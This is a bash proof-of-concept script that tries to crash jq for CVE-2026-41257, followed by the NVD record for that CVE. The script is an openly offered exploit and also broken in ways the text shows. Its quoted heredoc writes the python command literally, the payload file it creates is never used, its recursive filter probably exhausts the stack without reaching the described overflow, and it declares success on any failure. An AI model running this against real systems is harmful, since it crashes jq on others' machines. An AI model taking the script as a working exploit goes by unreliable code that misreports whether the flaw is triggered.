CVE-2026-41257

# PoC for CVE-2026-41257 # Description: This script attempts to trigger the integer overflow in jq's data stack # by creating a deeply nested generator structure. #!/bin/bash echo "[*] Creating a payload to trigger deep nesting..." # Create a JSON file with a structure that forces deep forks/generators cat << 'EOF' > payload.json { "a": "$(python3 -c 'print("a"*1000000)')" } EOF # Alternatively, use a jq filter that causes massive stack growth through recursion/forking # The specific trigger is deeply nested generator forks. echo "[*] Running jq with potentially malicious filter..." # This filter creates a large cartesian product or deep recursion to exhaust the stack FILTER='def g: ., g; g | g | g | g' echo '{}' | jq "$FILTER" > /dev/null 2>&1 if [ $? -ne 0 ]; then echo "[+] Exploit successful: jq crashed (likely due to stack overflow)" else echo "[-] Exploit failed: jq did not crash" fi rm payload.json

{"cve": {"id": "CVE-2026-41257", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:34.127", "lastModified": "2026-05-13T17:01:01.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "jq is a command-line JSON processor. In 1.8.1 and earlier, the jq bytecode VM's data stack tracks its allocation size in a signed int. When the stack grows beyond ≈1 GiB (via deeply nested generator forks), the doubling arithmetic overflows. The wrapped value is passed to realloc and then used for a memmove with attacker-influenced offsets."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jqlang:jq:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.8.1", "matchCriteriaId": "2026D0D9-8A88-43D4-9995-CF7928D9FFB8"}]}]}], "references": [{"url": "https://github.com/jqlang/jq/security/advisories/GHSA-4jm8-m363-4539", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/jqlang/jq/security/advisories/GHSA-4jm8-m363-4539", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}